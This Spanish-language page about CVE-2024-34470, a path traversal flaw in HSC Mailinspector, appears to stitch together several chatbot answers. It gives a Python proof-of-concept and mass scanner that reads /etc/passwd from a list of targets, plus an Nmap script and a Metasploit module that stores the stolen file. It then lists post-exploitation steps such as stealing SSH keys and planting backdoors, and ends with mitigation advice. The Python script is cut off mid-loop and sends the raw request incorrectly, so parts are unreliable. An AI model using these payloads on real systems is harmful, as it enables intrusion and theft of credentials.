- 🛡️ Vulnerabilidad: Path Traversal en HSC Mailinspector 5.2.17-3 a v.5.2.18
- Descripción: Permite a un atacante leer archivos arbitrarios en el servidor.
- Archivo Vulnerable: /public/loader.php
- Impacto: No requiere autenticación; afecta la seguridad de la aplicación.
- Acción del Atacante: Manipulación del parámetro ‘path’ para explorar el sistema de archivos.
Claro, aquí está la información condensada en forma de bulletpoints en español:
- 🛡️ CVE-2024-34470 Detalle
- Estado: A LA ESPERA DE ANÁLISIS
- Vulnerabilidad pendiente de evaluación.
- 📝 Descripción
- Problema en HSC Mailinspector 5.2.17-3 a v.5.2.18.
- Vulnerabilidad de recorrido de ruta no autenticada en /public/loader.php.
- Permite lectura de archivos arbitrarios en el servidor.
- 🔴 Severidad CVSS 4.0
- NIST: Evaluación de NVD aún no proporcionada.
- Análisis pendiente para asociar puntuaciones CVSS.
- 🔗 Referencias y Recursos
- Se proporciona enlace a GitHub para más detalles: CVE-2024-34470 en GitHub
Este resumen organiza la información clave de manera clara y concisa.
Descripción General
Este script es una prueba de concepto (PoC) y un escáner masivo para la vulnerabilidad CVE-2024-34470 en HSC Mailinspector. Esta vulnerabilidad permite la traversión de directorios, lo que puede conducir a un acceso no autorizado a archivos sensibles en el servidor afectado.
¿Qué es CVE-2024-34470?
CVE-2024-34470 es una vulnerabilidad de traversión de directorios en HSC Mailinspector. Esta vulnerabilidad permite a un atacante no autenticado acceder a archivos arbitrarios en el servidor, incluidos archivos sensibles como /etc/passwd
.
¿Qué hace el exploit?
El exploit envía una solicitud HTTP maliciosa al servidor, tratando de acceder al archivo /etc/passwd
. Si el servidor es vulnerable, devolverá el contenido de este archivo, indicando que es vulnerable a la traversión de directorios.
¿Cómo funciona el script?
- Imprime un banner: Muestra un banner en la consola para identificación visual.
- Crea un directorio de logs: Crea un directorio llamado
logs
para almacenar los resultados del escaneo. - Define una carga útil (payload): Define una solicitud HTTP que intenta acceder al archivo
/etc/passwd
. - Funciones:
banner()
: Imprime el banner.create_log_dir()
: Crea el directorio de logs.log_message(message)
: Registra mensajes en el archivo de log.print_message(level, message)
: Imprime mensajes en la consola con diferentes colores según el nivel de log.test_host(url)
: Envía la carga útil al URL objetivo y verifica si la respuesta indica vulnerabilidad.worker(queue)
: Función de trabajador para threading que procesa URLs desde la cola.
- Función principal (
main()
): Analiza los argumentos de la línea de comandos, configura el directorio de logs y prueba un solo URL o múltiples URLs desde un archivo usando hilos (threads).
Uso
- Escaneo de un solo objetivo:
Para escanear un solo objetivo, usa el siguiente comando:
python cve-2024-34470.py -u http://ejemplo.com
- Escaneo masivo de objetivos:
Para escanear múltiples objetivos listados en un archivo (targets.txt
), usa:
python cve-2024-34470.py -f targets.txt
Instalación
- Clonar el repositorio:
git clone https://github.com/bigb0x/CVE-2024-34470.git
cd CVE-2024-34470
- Instalar paquetes requeridos:
Asegúrate de tener Python 3.6 o superior e instala la libreríarequests
:
pip install requests
Descargo de Responsabilidad
La herramienta se proporciona solo con fines educativos. El acceso no autorizado a sistemas sin permiso explícito es ilegal y poco ético. Usa esta herramienta de manera responsable y solo en sistemas que tienes autorización para probar.
Referencias
- CVE-2024-34470 en MITRE
- CVE-2024-34470 en NVD
- Repositorio en GitHub: bigb0x/CVE-2024-34470
Script Completo en Español
Aquí está el script completo traducido al español:
“`python
import requests
import argparse
import threading
import queue
import os
from requests.exceptions import RequestException
import re
from datetime import datetime
import urllib3
Desactivar advertencias de SSL
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
Códigos de color ANSI
color_gris_claro = ‘\033[37;1m’
color_gris_atenuado = ‘\033[90m’
color_amarillo_miel = “\033[38;5;214m”
color_amarillo_atenuado = “\033[33;1m”
color_cian = ‘\033[96m’
color_verde = ‘\033[92m’
color_rojo = ‘\033[31m’
color_naranja_claro = ‘\033[38;5;214m’
reset_color = ‘\033[0m’
def banner():
print(f”””
{color_cian}
░█▀▀█ ░█──░█ ░█▀▀▀ ── █▀█ █▀▀█ █▀█ ─█▀█─ ── █▀▀█ ─█▀█─ ─█▀█─ ▀▀▀█ █▀▀█
░█─── ─░█░█─ ░█▀▀▀ ▀▀ ─▄▀ █▄▀█ ─▄▀ █▄▄█▄ ▀▀ ──▀▄ █▄▄█▄ █▄▄█▄ ──█─ █▄▀█
░█▄▄█ ──▀▄▀─ ░█▄▄▄ ── █▄▄ █▄▄█ █▄▄ ───█─ ── █▄▄█ ───█─ ───█─ ─▐▌─ █▄▄█
-> POC para la vulnerabilidad CVE-2024-34470
{reset_color}
“””)
Directorio y archivo de log
DIR_LOG = ‘logs’
ARCHIVO_LOG = os.path.join(DIR_LOG, ‘scan.log’)
Función para crear el directorio de log
def crear_dir_log():
if not os.path.exists(DIR_LOG):
os.makedirs(DIR_LOG)
imprimir_mensaje(‘info’, f”Directorio de log creado: {DIR_LOG}”)
Función para registrar mensajes en el log
def registrar_mensaje(mensaje):
with open(ARCHIVO_LOG, ‘a’) as archivo_log:
archivo_log.write(f”{datetime.now().strftime(‘%Y-%m-%d %H:%M:%S’)} – {mensaje}\n”)
Función para imprimir mensajes con colores ANSI
def imprimir_mensaje(nivel, mensaje):
if nivel == ‘info’:
print(f”{color_cian}[INFO] {mensaje}{reset_color}”)
elif nivel == ‘exito’:
print(f”{color_verde}[EXITO] {mensaje}{reset_color}”)
elif nivel == ‘advertencia’:
print(f”{color_amarillo_miel}[ADVERTENCIA] {mensaje}{reset_color}”)
elif nivel == ‘error’:
print(f”{color_rojo}[ERROR] {mensaje}{reset_color}”)
registrar_mensaje(mensaje)
Definir la carga útil (payload)
carga_util = (
“GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd HTTP/1.1\r\n”
“Host: {}\r\n”
“User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) “
“Chrome/70.0.3538.77 Safari/537.36\r\n\r\n”
)
Función para probar un solo host
def probar_host(url):
try:
nombre_host = url.split(‘//’)[1]
datos_solicitud = carga_util.format(nombre_host)
respuesta = requests.post(url, data=datos_solicitud, timeout=10, verify=False)
if respuesta.status_code == 200 and 'root:' in respuesta.text:
imprimir_mensaje('exito', f"Vulnerable: {url}")
else:
imprimir_mensaje('advertencia', f"No Vulnerable: {url}")
except RequestException as e:
imprimir_mensaje('error', f"Timeout: {url}")
Función de trabajador para threading
def trabajador(cola):
while not cola.empty():
url = cola.get()
imprimir_mensaje(‘info’, f”Probando {url}”)
probar_host(url)
cola.task_done()
Función principal
def main():
banner()
parser = argparse.ArgumentParser(description=’Comprobar la vulnerabilidad CVE-2024-34470.’)
grupo = parser.add_mutually_exclusive_group(required=True)
grupo.add_argument(‘-u’, ‘–url’, help=’URL del objetivo (e.g., http://ejemplo.com)’)
grupo.add_argument(‘-f’, ‘–file’, help=’Archivo que contiene una lista de URLs (una por línea)’)
args = parser.parse_args()
crear_dir_log()
if args.url:
imprimir_mensaje('info', f"Probando un solo objetivo: {args.url}")
probar_host(args.url)
elif args.file:
with open(args.file, 'r') as f:
urls = [linea.strip() for linea in f if linea.strip()]
imprimir_mensaje('info', f"Probando múltiples objetivos desde el archivo: {args.file}")
cola_urls = queue.Queue()
for url in urls:
cola_urls.put(url)
hilos = []
for _ in range(10): # Puedes ajustar el
Sí, es posible integrar este script en herramientas como Nmap y Metasploit. Aquí tienes los pasos para hacerlo:
### Integrar con Nmap
Para integrar el script con Nmap, puedes crear un script NSE (Nmap Scripting Engine). Aquí te muestro cómo hacerlo:
1. **Crear el script NSE**: Crea un archivo con extensión `.nse`, por ejemplo, `cve-2024-34470.nse`.
```lua
local shortport = require "shortport"
local http = require "http"
local stdnse = require "stdnse"
local nmap = require "nmap"
description = [[
Detecta la vulnerabilidad CVE-2024-34470 en HSC Mailinspector.
]]
author = "Tu Nombre"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln"}
portrule = shortport.http
action = function(host, port)
local payload = "GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd HTTP/1.1\r\nHost: " .. host.ip .. "\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/70.0.3538.77 Safari/537.36\r\n\r\n"
local response = http.simple_request(host, port, payload)
if response and response.status == 200 and response.body and string.match(response.body, "root:") then
return stdnse.format_output(true, "Vulnerable to CVE-2024-34470")
else
return stdnse.format_output(false, "Not Vulnerable")
end
end
```
2. **Guardar y ejecutar el script**:
Guarda el archivo en el directorio de scripts de Nmap, generalmente `scripts/` en la instalación de Nmap.
```sh
sudo cp cve-2024-34470.nse /usr/share/nmap/scripts/
```
3. **Ejecutar Nmap con el nuevo script**:
```sh
nmap --script cve-2024-34470 -p 80,443 <target>
```
### Integrar con Metasploit
Para integrar el script con Metasploit, necesitarás crear un módulo auxiliar de Metasploit.
1. **Crear el módulo auxiliar**: Crea un archivo Ruby, por ejemplo, `cve_2024_34470.rb`.
```ruby
require 'msf/core'
require 'net/http'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HSC Mailinspector CVE-2024-34470',
'Description' => %q{
This module exploits a directory traversal vulnerability in HSC Mailinspector.
},
'Author' => [ 'Tu Nombre' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2024-34470' ]
]
))
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI path', '/mailinspector/public/loader.php'])
])
end
def run
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}?path=../../../../../../../etc/passwd"
})
if res && res.code == 200 && res.body.include?('root:')
print_good("#{peer} is vulnerable to CVE-2024-34470")
store_loot('cve-2024-34470', 'text/plain', datastore['RHOST'], res.body)
else
print_error("#{peer} is not vulnerable")
end
end
end
```
2. **Guardar y cargar el módulo en Metasploit**:
Guarda el archivo en el directorio de módulos de Metasploit, generalmente `modules/auxiliary/scanner/http/`.
```sh
sudo cp cve_2024_34470.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/http/
```
3. **Ejecutar el módulo en Metasploit**:
Abre Metasploit y carga el módulo:
```sh
msfconsole
use auxiliary/scanner/http/cve_2024_34470
set RHOSTS <target>
set RPORT 80
run
```
### Resumen
- Para **Nmap**, crea un script NSE y guárdalo en el directorio de scripts de Nmap.
- Para **Metasploit**, crea un módulo auxiliar en Ruby y guárdalo en el directorio correspondiente de Metasploit.
Estos pasos te permiten automatizar la detección de la vulnerabilidad CVE-2024-34470 utilizando herramientas de escaneo y explotación populares.
Si un atacante logra explotar la vulnerabilidad CVE-2024-34470 en HSC Mailinspector, podría tener acceso a información y capacidades críticas en el servidor afectado. Aquí te presento 25 cosas que el atacante podría hacer, destacando las más peligrosas:
### Acciones Críticas y Peligrosas
1. **Acceso a Contraseñas del Sistema**:
- **Acceder al archivo `/etc/passwd`**: Puede contener información sobre los usuarios del sistema.
- **Acceder al archivo `/etc/shadow`**: Contiene las contraseñas encriptadas de los usuarios.
2. **Escalada de Privilegios**:
- **Intentar técnicas de escalada de privilegios** usando la información obtenida de los archivos del sistema.
3. **Acceso a Archivos de Configuración**:
- **Leer archivos de configuración** para servicios como Apache, Nginx, MySQL, etc., que pueden contener credenciales y configuraciones críticas.
4. **Acceso a Claves SSH**:
- **Robar claves privadas SSH** de usuarios para acceder a otros sistemas.
5. **Ejecutar Comandos Remotos**:
- **Ejecutar comandos con privilegios elevados** si el archivo de configuración lo permite.
6. **Instalación de Backdoors**:
- **Instalar puertas traseras (backdoors)** para mantener el acceso incluso después de que se haya parcheado la vulnerabilidad.
7. **Captura de Tráfico de Red**:
- **Instalar software para espiar el tráfico de red** y capturar información sensible.
8. **Modificación de Archivos del Sistema**:
- **Modificar archivos del sistema** para cambiar configuraciones críticas o instalar rootkits.
### Acciones Potencialmente Menos Críticas pero Igualmente Peligrosas
9. **Acceso a Datos de Usuarios**:
- **Leer y modificar archivos personales de los usuarios** en el servidor.
10. **Acceso a Bases de Datos**:
- **Acceder y exfiltrar datos de bases de datos** que pueden contener información confidencial.
11. **Defacement de Sitios Web**:
- **Modificar el contenido de los sitios web** alojados en el servidor, incluyendo desfiguración de páginas.
12. **Creación de Nuevos Usuarios**:
- **Agregar nuevos usuarios** al sistema con permisos elevados.
13. **Eliminación de Archivos**:
- **Eliminar archivos importantes** causando pérdida de datos.
14. **Instalación de Malware**:
- **Instalar malware** que puede propagarse a otros sistemas conectados.
15. **Acceso a Logs del Sistema**:
- **Leer y modificar archivos de logs** para cubrir sus huellas.
16. **Alteración de Permisos de Archivos**:
- **Cambiar permisos de archivos** para permitir acceso no autorizado.
17. **Uso de Recursos del Sistema**:
- **Usar el servidor para minería de criptomonedas** o ataques DDoS (Distributed Denial of Service).
18. **Intercepción de Correos Electrónicos**:
- **Acceder a configuraciones de correo** y espiar o redirigir correos electrónicos.
19. **Sabotaje de Servicios**:
- **Desactivar o interrumpir servicios críticos** para la operación del servidor.
20. **Filtración de Información Sensible**:
- **Exfiltrar documentos sensibles** que pueden ser usados para chantaje o venta.
21. **Uso del Servidor como Proxy**:
- **Usar el servidor como proxy** para ocultar sus actividades maliciosas.
22. **Compromiso de Otros Sistemas en la Red**:
- **Usar el servidor comprometido como punto de partida** para atacar otros sistemas en la misma red.
23. **Suplantación de Identidad**:
- **Usar las credenciales robadas** para suplantar la identidad de usuarios legítimos.
24. **Alteración de Datos**:
- **Modificar datos en bases de datos** o archivos, causando corrupción de datos.
25. **Acceso a Servicios Internos**:
- **Acceder a servicios internos** que no están expuestos públicamente, aumentando el alcance del ataque.
### Resumen
Las acciones que un atacante puede llevar a cabo tras explotar esta vulnerabilidad varían en severidad, pero las más peligrosas incluyen el acceso a contraseñas del sistema, escalada de privilegios, ejecución remota de comandos, instalación de backdoors, y acceso a datos sensibles. Estas acciones pueden comprometer seriamente la integridad, confidencialidad y disponibilidad del sistema afectado y de otros sistemas conectados a la misma red.
Para asegurarte de que no te ataquen y corregir la vulnerabilidad CVE-2024-34470 en HSC Mailinspector, sigue estos pasos:
### 1. Actualizar HSC Mailinspector
La manera más efectiva de corregir la vulnerabilidad es actualizar HSC Mailinspector a la versión más reciente en la que se haya solucionado este problema. Consulta el sitio web oficial del proveedor o las notas de la versión para obtener la última actualización.
### 2. Aplicar Parches de Seguridad
Si el proveedor ha lanzado un parche específico para esta vulnerabilidad, aplícalo inmediatamente. Mantén tu software siempre actualizado con los últimos parches de seguridad.
### 3. Configurar el Servidor Adecuadamente
Asegúrate de que tu servidor web esté configurado correctamente para evitar ataques de path traversal:
- **Limita el acceso a archivos críticos**: Configura permisos adecuados para que solo los usuarios autorizados puedan acceder a archivos sensibles.
- **Desactiva el listado de directorios**: Configura tu servidor web para que no muestre el contenido de los directorios.
- **Implementa reglas de seguridad**: Usa un firewall de aplicaciones web (WAF) para detectar y bloquear intentos de path traversal.
### 4. Revisar Configuraciones de Seguridad
Revisa y ajusta las configuraciones de seguridad de tu servidor y aplicación web:
- **Validación y saneamiento de entradas**: Asegúrate de que todas las entradas del usuario sean validadas y saneadas correctamente.
- **Uso de rutas absolutas**: Evita el uso de rutas relativas en tu código, usa rutas absolutas cuando sea posible.
### 5. Monitorización y Detección
Implementa sistemas de monitorización y detección de intrusos (IDS/IPS) para identificar y responder rápidamente a actividades sospechosas:
- **Registros y auditorías**: Mantén registros detallados de acceso y errores para detectar patrones inusuales.
- **Herramientas de monitorización**: Usa herramientas de monitorización como OSSEC, Snort, o Suricata.
### 6. Realizar Pruebas de Seguridad
Realiza regularmente pruebas de seguridad para identificar y solucionar vulnerabilidades:
- **Pruebas de penetración**: Contrata servicios de pruebas de penetración para evaluar la seguridad de tu sistema.
- **Escaneos de vulnerabilidades**: Usa herramientas como OpenVAS, Nessus, o Qualys para escanear tu sistema en busca de vulnerabilidades.
### 7. Capacitación y Concienciación
Capacita a tu equipo en prácticas de seguridad y concienciación sobre ciberseguridad:
- **Capacitación regular**: Proporciona capacitación regular en ciberseguridad a tu equipo de TI.
- **Políticas de seguridad**: Implementa y comunica políticas de seguridad claras y efectivas.
### Resumen
1. **Actualiza** HSC Mailinspector a la última versión.
2. **Aplica parches** de seguridad.
3. **Configura adecuadamente** tu servidor.
4. **Revisa configuraciones** de seguridad.
5. **Monitorea** y detecta intrusos.
6. **Realiza pruebas** de seguridad regularmente.
7. **Capacita** a tu equipo en prácticas de seguridad.
Implementando estos pasos, podrás reducir significativamente el riesgo de ser atacado y corregir la vulnerabilidad CVE-2024-34470 si está presente en tu sistema.